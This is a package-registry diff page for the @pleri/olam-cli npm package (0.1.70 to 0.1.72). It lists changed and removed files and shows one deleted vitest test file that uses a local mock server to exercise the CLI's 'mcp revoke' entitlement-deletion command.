@pleri/olam-cli 0.1.70 → 0.1.72
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/commands/create.d.ts.map +1 -1
- package/dist/commands/create.js +2 -0
- package/dist/commands/create.js.map +1 -1
- package/dist/commands/runbooks.d.ts +13 -0
- package/dist/commands/runbooks.d.ts.map +1 -0
- package/dist/commands/runbooks.js +189 -0
- package/dist/commands/runbooks.js.map +1 -0
- package/dist/commands/world-snapshot.d.ts +1 -0
- package/dist/commands/world-snapshot.d.ts.map +1 -1
- package/dist/commands/world-snapshot.js +126 -1
- package/dist/commands/world-snapshot.js.map +1 -1
- package/dist/commands/worldspec/compile.d.ts +20 -0
- package/dist/commands/worldspec/compile.d.ts.map +1 -0
- package/dist/commands/worldspec/compile.js +130 -0
- package/dist/commands/worldspec/compile.js.map +1 -0
- package/dist/commands/worldspec/index.d.ts +12 -0
- package/dist/commands/worldspec/index.d.ts.map +1 -0
- package/dist/commands/worldspec/index.js +23 -0
- package/dist/commands/worldspec/index.js.map +1 -0
- package/dist/commands/worldspec/init.d.ts +15 -0
- package/dist/commands/worldspec/init.d.ts.map +1 -0
- package/dist/commands/worldspec/init.js +166 -0
- package/dist/commands/worldspec/init.js.map +1 -0
- package/dist/commands/worldspec/schema.d.ts +11 -0
- package/dist/commands/worldspec/schema.d.ts.map +1 -0
- package/dist/commands/worldspec/schema.js +55 -0
- package/dist/commands/worldspec/schema.js.map +1 -0
- package/dist/commands/worldspec/validate.d.ts +15 -0
- package/dist/commands/worldspec/validate.d.ts.map +1 -0
- package/dist/commands/worldspec/validate.js +66 -0
- package/dist/commands/worldspec/validate.js.map +1 -0
- package/dist/exit-codes.d.ts +32 -0
- package/dist/exit-codes.d.ts.map +1 -1
- package/dist/exit-codes.js +32 -0
- package/dist/exit-codes.js.map +1 -1
- package/dist/image-digests.json +5 -5
- package/dist/index.js +4379 -897
- package/dist/index.js.map +1 -1
- package/dist/mcp-server.js +1252 -286
- package/host-cp/src/global-config-source.mjs +71 -0
- package/host-cp/src/listening-server-poller.mjs +1 -1
- package/host-cp/src/plan-orchestrator.mjs +20 -1
- package/host-cp/src/port-bridge-manager.mjs +1 -1
- package/host-cp/src/server.mjs +46 -7
- package/package.json +4 -2
- package/dist/__tests__/audit-publish-deps-contract.test.d.ts +0 -26
- package/dist/__tests__/audit-publish-deps-contract.test.d.ts.map +0 -1
- package/dist/__tests__/audit-publish-deps-contract.test.js +0 -86
- package/dist/__tests__/audit-publish-deps-contract.test.js.map +0 -1
- package/dist/__tests__/auth-status.test.d.ts +0 -2
- package/dist/__tests__/auth-status.test.d.ts.map +0 -1
- package/dist/__tests__/auth-status.test.js +0 -291
- package/dist/__tests__/auth-status.test.js.map +0 -1
- package/dist/__tests__/auth-upgrade.test.d.ts +0 -9
- package/dist/__tests__/auth-upgrade.test.d.ts.map +0 -1
- package/dist/__tests__/auth-upgrade.test.js +0 -397
- package/dist/__tests__/auth-upgrade.test.js.map +0 -1
- package/dist/__tests__/bootstrap-tag-mcp-auth.test.d.ts +0 -22
- package/dist/__tests__/bootstrap-tag-mcp-auth.test.d.ts.map +0 -1
- package/dist/__tests__/bootstrap-tag-mcp-auth.test.js +0 -63
- package/dist/__tests__/bootstrap-tag-mcp-auth.test.js.map +0 -1
- package/dist/__tests__/cli-mcp-revoke.test.d.ts +0 -8
- package/dist/__tests__/cli-mcp-revoke.test.d.ts.map +0 -1
- package/dist/__tests__/cli-mcp-revoke.test.js +0 -124
- package/dist/__tests__/cli-mcp-revoke.test.js.map +0 -1
- package/dist/__tests__/config.test.d.ts +0 -2
- package/dist/__tests__/config.test.d.ts.map +0 -1
- package/dist/__tests__/config.test.js +0 -95
- package/dist/__tests__/config.test.js.map +0 -1
- package/dist/__tests__/create-app-urls.test.d.ts +0 -2
- package/dist/__tests__/create-app-urls.test.d.ts.map +0 -1
- package/dist/__tests__/create-app-urls.test.js +0 -102
- package/dist/__tests__/create-app-urls.test.js.map +0 -1
- package/dist/__tests__/docker-host.test.d.ts +0 -14
- package/dist/__tests__/docker-host.test.d.ts.map +0 -1
- package/dist/__tests__/docker-host.test.js +0 -109
- package/dist/__tests__/docker-host.test.js.map +0 -1
- package/dist/__tests__/enter.test.d.ts +0 -2
- package/dist/__tests__/enter.test.d.ts.map +0 -1
- package/dist/__tests__/enter.test.js +0 -90
- package/dist/__tests__/enter.test.js.map +0 -1
- package/dist/__tests__/help-output.test.d.ts +0 -2
- package/dist/__tests__/help-output.test.d.ts.map +0 -1
- package/dist/__tests__/help-output.test.js +0 -74
- package/dist/__tests__/help-output.test.js.map +0 -1
- package/dist/__tests__/host-cp-gh-token.test.d.ts +0 -9
- package/dist/__tests__/host-cp-gh-token.test.d.ts.map +0 -1
- package/dist/__tests__/host-cp-gh-token.test.js +0 -129
- package/dist/__tests__/host-cp-gh-token.test.js.map +0 -1
- package/dist/__tests__/host-cp.test.d.ts +0 -9
- package/dist/__tests__/host-cp.test.d.ts.map +0 -1
- package/dist/__tests__/host-cp.test.js +0 -335
- package/dist/__tests__/host-cp.test.js.map +0 -1
- package/dist/__tests__/image-presence.test.d.ts +0 -2
- package/dist/__tests__/image-presence.test.d.ts.map +0 -1
- package/dist/__tests__/image-presence.test.js +0 -44
- package/dist/__tests__/image-presence.test.js.map +0 -1
- package/dist/__tests__/install-root.test.d.ts +0 -2
- package/dist/__tests__/install-root.test.d.ts.map +0 -1
- package/dist/__tests__/install-root.test.js +0 -119
- package/dist/__tests__/install-root.test.js.map +0 -1
- package/dist/__tests__/keys.test.d.ts +0 -9
- package/dist/__tests__/keys.test.d.ts.map +0 -1
- package/dist/__tests__/keys.test.js +0 -145
- package/dist/__tests__/keys.test.js.map +0 -1
- package/dist/__tests__/logs.test.d.ts +0 -9
- package/dist/__tests__/logs.test.d.ts.map +0 -1
- package/dist/__tests__/logs.test.js +0 -124
- package/dist/__tests__/logs.test.js.map +0 -1
- package/dist/__tests__/mcp-import.test.d.ts +0 -11
- package/dist/__tests__/mcp-import.test.d.ts.map +0 -1
- package/dist/__tests__/mcp-import.test.js +0 -134
- package/dist/__tests__/mcp-import.test.js.map +0 -1
- package/dist/__tests__/protocol-version.test.d.ts +0 -2
- package/dist/__tests__/protocol-version.test.d.ts.map +0 -1
- package/dist/__tests__/protocol-version.test.js +0 -170
- package/dist/__tests__/protocol-version.test.js.map +0 -1
- package/dist/__tests__/ps.test.d.ts +0 -2
- package/dist/__tests__/ps.test.d.ts.map +0 -1
- package/dist/__tests__/ps.test.js +0 -172
- package/dist/__tests__/ps.test.js.map +0 -1
- package/dist/__tests__/registry-allowlist.test.d.ts +0 -2
- package/dist/__tests__/registry-allowlist.test.d.ts.map +0 -1
- package/dist/__tests__/registry-allowlist.test.js +0 -129
- package/dist/__tests__/registry-allowlist.test.js.map +0 -1
- package/dist/__tests__/services.test.d.ts +0 -8
- package/dist/__tests__/services.test.d.ts.map +0 -1
- package/dist/__tests__/services.test.js +0 -185
- package/dist/__tests__/services.test.js.map +0 -1
- package/dist/__tests__/status-app-urls.test.d.ts +0 -2
- package/dist/__tests__/status-app-urls.test.d.ts.map +0 -1
- package/dist/__tests__/status-app-urls.test.js +0 -125
- package/dist/__tests__/status-app-urls.test.js.map +0 -1
- package/dist/__tests__/upgrade-gh-token-contract.test.d.ts +0 -19
- package/dist/__tests__/upgrade-gh-token-contract.test.d.ts.map +0 -1
- package/dist/__tests__/upgrade-gh-token-contract.test.js +0 -63
- package/dist/__tests__/upgrade-gh-token-contract.test.js.map +0 -1
- package/dist/__tests__/upgrade.test.d.ts +0 -9
- package/dist/__tests__/upgrade.test.d.ts.map +0 -1
- package/dist/__tests__/upgrade.test.js +0 -586
- package/dist/__tests__/upgrade.test.js.map +0 -1
- package/dist/commands/__tests__/__fixtures__/upgrade-helpers.d.ts +0 -6
- package/dist/commands/__tests__/__fixtures__/upgrade-helpers.d.ts.map +0 -1
- package/dist/commands/__tests__/__fixtures__/upgrade-helpers.js +0 -26
- package/dist/commands/__tests__/__fixtures__/upgrade-helpers.js.map +0 -1
- package/dist/commands/__tests__/begin.test.d.ts +0 -7
- package/dist/commands/__tests__/begin.test.d.ts.map +0 -1
- package/dist/commands/__tests__/begin.test.js +0 -72
- package/dist/commands/__tests__/begin.test.js.map +0 -1
- package/dist/commands/__tests__/bootstrap.test.d.ts +0 -2
- package/dist/commands/__tests__/bootstrap.test.d.ts.map +0 -1
- package/dist/commands/__tests__/bootstrap.test.js +0 -370
- package/dist/commands/__tests__/bootstrap.test.js.map +0 -1
- package/dist/commands/__tests__/carry-uncommitted.test.d.ts +0 -14
- package/dist/commands/__tests__/carry-uncommitted.test.d.ts.map +0 -1
- package/dist/commands/__tests__/carry-uncommitted.test.js +0 -83
- package/dist/commands/__tests__/carry-uncommitted.test.js.map +0 -1
- package/dist/commands/__tests__/clean.test.d.ts +0 -9
- package/dist/commands/__tests__/clean.test.d.ts.map +0 -1
- package/dist/commands/__tests__/clean.test.js +0 -105
- package/dist/commands/__tests__/clean.test.js.map +0 -1
- package/dist/commands/__tests__/crystallize.test.d.ts +0 -2
- package/dist/commands/__tests__/crystallize.test.d.ts.map +0 -1
- package/dist/commands/__tests__/crystallize.test.js +0 -133
- package/dist/commands/__tests__/crystallize.test.js.map +0 -1
- package/dist/commands/__tests__/diagnose.test.d.ts +0 -9
- package/dist/commands/__tests__/diagnose.test.d.ts.map +0 -1
- package/dist/commands/__tests__/diagnose.test.js +0 -108
- package/dist/commands/__tests__/diagnose.test.js.map +0 -1
- package/dist/commands/__tests__/openHostCpUrl.test.d.ts +0 -2
- package/dist/commands/__tests__/openHostCpUrl.test.d.ts.map +0 -1
- package/dist/commands/__tests__/openHostCpUrl.test.js +0 -63
- package/dist/commands/__tests__/openHostCpUrl.test.js.map +0 -1
- package/dist/commands/__tests__/refresh.test.d.ts +0 -13
- package/dist/commands/__tests__/refresh.test.d.ts.map +0 -1
- package/dist/commands/__tests__/refresh.test.js +0 -170
- package/dist/commands/__tests__/refresh.test.js.map +0 -1
- package/dist/commands/__tests__/status.test.d.ts +0 -8
- package/dist/commands/__tests__/status.test.d.ts.map +0 -1
- package/dist/commands/__tests__/status.test.js +0 -62
- package/dist/commands/__tests__/status.test.js.map +0 -1
- package/dist/commands/__tests__/stop.test.d.ts +0 -5
- package/dist/commands/__tests__/stop.test.d.ts.map +0 -1
- package/dist/commands/__tests__/stop.test.js +0 -30
- package/dist/commands/__tests__/stop.test.js.map +0 -1
- package/dist/commands/__tests__/update.test.d.ts +0 -7
- package/dist/commands/__tests__/update.test.d.ts.map +0 -1
- package/dist/commands/__tests__/update.test.js +0 -224
- package/dist/commands/__tests__/update.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.all-three.test.d.ts +0 -19
- package/dist/commands/__tests__/upgrade.all-three.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.all-three.test.js +0 -80
- package/dist/commands/__tests__/upgrade.all-three.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.compose-path.test.d.ts +0 -20
- package/dist/commands/__tests__/upgrade.compose-path.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.compose-path.test.js +0 -140
- package/dist/commands/__tests__/upgrade.compose-path.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.history.test.d.ts +0 -15
- package/dist/commands/__tests__/upgrade.history.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.history.test.js +0 -199
- package/dist/commands/__tests__/upgrade.history.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.lock.test.d.ts +0 -15
- package/dist/commands/__tests__/upgrade.lock.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.lock.test.js +0 -253
- package/dist/commands/__tests__/upgrade.lock.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.olam-tag.test.d.ts +0 -21
- package/dist/commands/__tests__/upgrade.olam-tag.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.olam-tag.test.js +0 -114
- package/dist/commands/__tests__/upgrade.olam-tag.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.poll.test.d.ts +0 -14
- package/dist/commands/__tests__/upgrade.poll.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.poll.test.js +0 -136
- package/dist/commands/__tests__/upgrade.poll.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.recreate.test.d.ts +0 -17
- package/dist/commands/__tests__/upgrade.recreate.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.recreate.test.js +0 -83
- package/dist/commands/__tests__/upgrade.recreate.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.rollback.test.d.ts +0 -12
- package/dist/commands/__tests__/upgrade.rollback.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.rollback.test.js +0 -255
- package/dist/commands/__tests__/upgrade.rollback.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.sha-capture.test.d.ts +0 -12
- package/dist/commands/__tests__/upgrade.sha-capture.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.sha-capture.test.js +0 -63
- package/dist/commands/__tests__/upgrade.sha-capture.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.smoke.test.d.ts +0 -19
- package/dist/commands/__tests__/upgrade.smoke.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.smoke.test.js +0 -87
- package/dist/commands/__tests__/upgrade.smoke.test.js.map +0 -1
- package/dist/commands/__tests__/upgrade.swap.test.d.ts +0 -19
- package/dist/commands/__tests__/upgrade.swap.test.d.ts.map +0 -1
- package/dist/commands/__tests__/upgrade.swap.test.js +0 -312
- package/dist/commands/__tests__/upgrade.swap.test.js.map +0 -1
- package/dist/commands/__tests__/world-upgrade.test.d.ts +0 -8
- package/dist/commands/__tests__/world-upgrade.test.d.ts.map +0 -1
- package/dist/commands/__tests__/world-upgrade.test.js +0 -73
- package/dist/commands/__tests__/world-upgrade.test.js.map +0 -1
- package/dist/lib/__tests__/symlink-reconcile.test.d.ts +0 -2
- package/dist/lib/__tests__/symlink-reconcile.test.d.ts.map +0 -1
- package/dist/lib/__tests__/symlink-reconcile.test.js +0 -106
- package/dist/lib/__tests__/symlink-reconcile.test.js.map +0 -1
|
@@ -1,124 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Tests for `olam mcp revoke`.
|
|
3
|
-
*
|
|
4
|
-
* Acceptance: revoke_drops_token (with mock mcp-auth server),
|
|
5
|
-
* multi_tenant_false_noop (no HTTP call, warning printed).
|
|
6
|
-
*/
|
|
7
|
-
import { describe, test, expect, afterEach, vi } from 'vitest';
|
|
8
|
-
import * as http from 'node:http';
|
|
9
|
-
function startMockServer(handler) {
|
|
10
|
-
return new Promise((resolve) => {
|
|
11
|
-
const srv = http.createServer(handler);
|
|
12
|
-
srv.listen(0, '127.0.0.1', () => {
|
|
13
|
-
const port = srv.address().port;
|
|
14
|
-
resolve({
|
|
15
|
-
url: `http://127.0.0.1:${port}`,
|
|
16
|
-
// srv.close's callback signature is `(err?: Error) => void`; Promise<void>
|
|
17
|
-
// resolvers accept `void | PromiseLike<void>`. The two are not assignable
|
|
18
|
-
// — wrap explicitly so the resolve discards the err arg.
|
|
19
|
-
close: () => new Promise((res) => { srv.close(() => res()); }),
|
|
20
|
-
});
|
|
21
|
-
});
|
|
22
|
-
});
|
|
23
|
-
}
|
|
24
|
-
function jsonResponse(res, status, body) {
|
|
25
|
-
const raw = JSON.stringify(body);
|
|
26
|
-
res.writeHead(status, { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(raw) });
|
|
27
|
-
res.end(raw);
|
|
28
|
-
}
|
|
29
|
-
// ── Test environment helpers ─────────────────────────────────────────
|
|
30
|
-
let savedEnv = {};
|
|
31
|
-
function saveAndSetEnv(vars) {
|
|
32
|
-
for (const [k, v] of Object.entries(vars)) {
|
|
33
|
-
savedEnv[k] = process.env[k];
|
|
34
|
-
if (v === undefined) {
|
|
35
|
-
delete process.env[k];
|
|
36
|
-
}
|
|
37
|
-
else {
|
|
38
|
-
process.env[k] = v;
|
|
39
|
-
}
|
|
40
|
-
}
|
|
41
|
-
}
|
|
42
|
-
function restoreEnv() {
|
|
43
|
-
for (const [k, v] of Object.entries(savedEnv)) {
|
|
44
|
-
if (v === undefined) {
|
|
45
|
-
delete process.env[k];
|
|
46
|
-
}
|
|
47
|
-
else {
|
|
48
|
-
process.env[k] = v;
|
|
49
|
-
}
|
|
50
|
-
}
|
|
51
|
-
savedEnv = {};
|
|
52
|
-
}
|
|
53
|
-
// ── Tests ─────────────────────────────────────────────────────────────
|
|
54
|
-
describe('olam mcp revoke', () => {
|
|
55
|
-
afterEach(() => {
|
|
56
|
-
restoreEnv();
|
|
57
|
-
vi.restoreAllMocks();
|
|
58
|
-
});
|
|
59
|
-
test('multi_tenant_false_noop — warns and returns without HTTP call when OLAM_MCP_MULTI_TENANT unset', async () => {
|
|
60
|
-
saveAndSetEnv({ OLAM_MCP_MULTI_TENANT: undefined });
|
|
61
|
-
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => undefined);
|
|
62
|
-
const fetchSpy = vi.spyOn(global, 'fetch');
|
|
63
|
-
// Dynamically import so env vars are read at action time
|
|
64
|
-
const { registerMcpRevoke } = await import('../commands/mcp/revoke.js?' + Date.now());
|
|
65
|
-
const { Command } = await import('commander');
|
|
66
|
-
const program = new Command();
|
|
67
|
-
registerMcpRevoke(program);
|
|
68
|
-
await program.parseAsync(['node', 'test', 'revoke', 'alice@example.com', 'world-1', 'linear']);
|
|
69
|
-
expect(fetchSpy).not.toHaveBeenCalled();
|
|
70
|
-
expect(warnSpy).toHaveBeenCalledWith(expect.stringContaining('no-op'));
|
|
71
|
-
});
|
|
72
|
-
test('revoke_drops_token — calls DELETE /entitlement/:user/:world/:service when multi_tenant=true', async () => {
|
|
73
|
-
const received = [];
|
|
74
|
-
const { url, close } = await startMockServer((req, res) => {
|
|
75
|
-
received.push({ method: req.method ?? '', path: req.url ?? '' });
|
|
76
|
-
jsonResponse(res, 200, { ok: true, revoked: { user: 'alice@example.com', world: 'world-1', service: 'linear' } });
|
|
77
|
-
});
|
|
78
|
-
saveAndSetEnv({
|
|
79
|
-
OLAM_MCP_MULTI_TENANT: 'true',
|
|
80
|
-
OLAM_MCP_AUTH_SERVICE_URL: url,
|
|
81
|
-
OLAM_MCP_AUTH_SECRET: 'test-secret',
|
|
82
|
-
});
|
|
83
|
-
const logSpy = vi.spyOn(console, 'log').mockImplementation(() => undefined);
|
|
84
|
-
const { registerMcpRevoke } = await import('../commands/mcp/revoke.js?' + Date.now());
|
|
85
|
-
const { Command } = await import('commander');
|
|
86
|
-
const program = new Command();
|
|
87
|
-
registerMcpRevoke(program);
|
|
88
|
-
await program.parseAsync(['node', 'test', 'revoke', 'alice@example.com', 'world-1', 'linear']);
|
|
89
|
-
expect(received).toHaveLength(1);
|
|
90
|
-
const first = received[0];
|
|
91
|
-
expect(first.method).toBe('DELETE');
|
|
92
|
-
expect(first.path).toBe(`/entitlement/${encodeURIComponent('alice@example.com')}/world-1/linear`);
|
|
93
|
-
expect(logSpy).toHaveBeenCalledWith(expect.stringContaining('Revoked'));
|
|
94
|
-
await close();
|
|
95
|
-
});
|
|
96
|
-
test('server_revocation_enforced — revoke returns success body with revoked details', async () => {
|
|
97
|
-
const received = [];
|
|
98
|
-
const { url, close } = await startMockServer((req, res) => {
|
|
99
|
-
received.push({
|
|
100
|
-
method: req.method ?? '',
|
|
101
|
-
path: req.url ?? '',
|
|
102
|
-
headers: req.headers,
|
|
103
|
-
});
|
|
104
|
-
jsonResponse(res, 200, { ok: true, revoked: { user: 'alice@example.com', world: 'world-1', service: 'linear' } });
|
|
105
|
-
});
|
|
106
|
-
saveAndSetEnv({
|
|
107
|
-
OLAM_MCP_MULTI_TENANT: 'true',
|
|
108
|
-
OLAM_MCP_AUTH_SERVICE_URL: url,
|
|
109
|
-
OLAM_MCP_AUTH_SECRET: 'sec',
|
|
110
|
-
});
|
|
111
|
-
const { registerMcpRevoke } = await import('../commands/mcp/revoke.js?' + Date.now());
|
|
112
|
-
const { Command } = await import('commander');
|
|
113
|
-
const program = new Command();
|
|
114
|
-
vi.spyOn(console, 'log').mockImplementation(() => undefined);
|
|
115
|
-
registerMcpRevoke(program);
|
|
116
|
-
await program.parseAsync(['node', 'test', 'revoke', 'alice@example.com', 'world-1', 'linear']);
|
|
117
|
-
expect(received).toHaveLength(1);
|
|
118
|
-
const first = received[0];
|
|
119
|
-
expect(first.headers['x-olam-mcp-secret']).toBe('sec');
|
|
120
|
-
expect(first.method).toBe('DELETE');
|
|
121
|
-
await close();
|
|
122
|
-
});
|
|
123
|
-
});
|
|
124
|
-
//# sourceMappingURL=cli-mcp-revoke.test.js.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"cli-mcp-revoke.test.js","sourceRoot":"","sources":["../../src/__tests__/cli-mcp-revoke.test.ts"],"names":[],"mappings":"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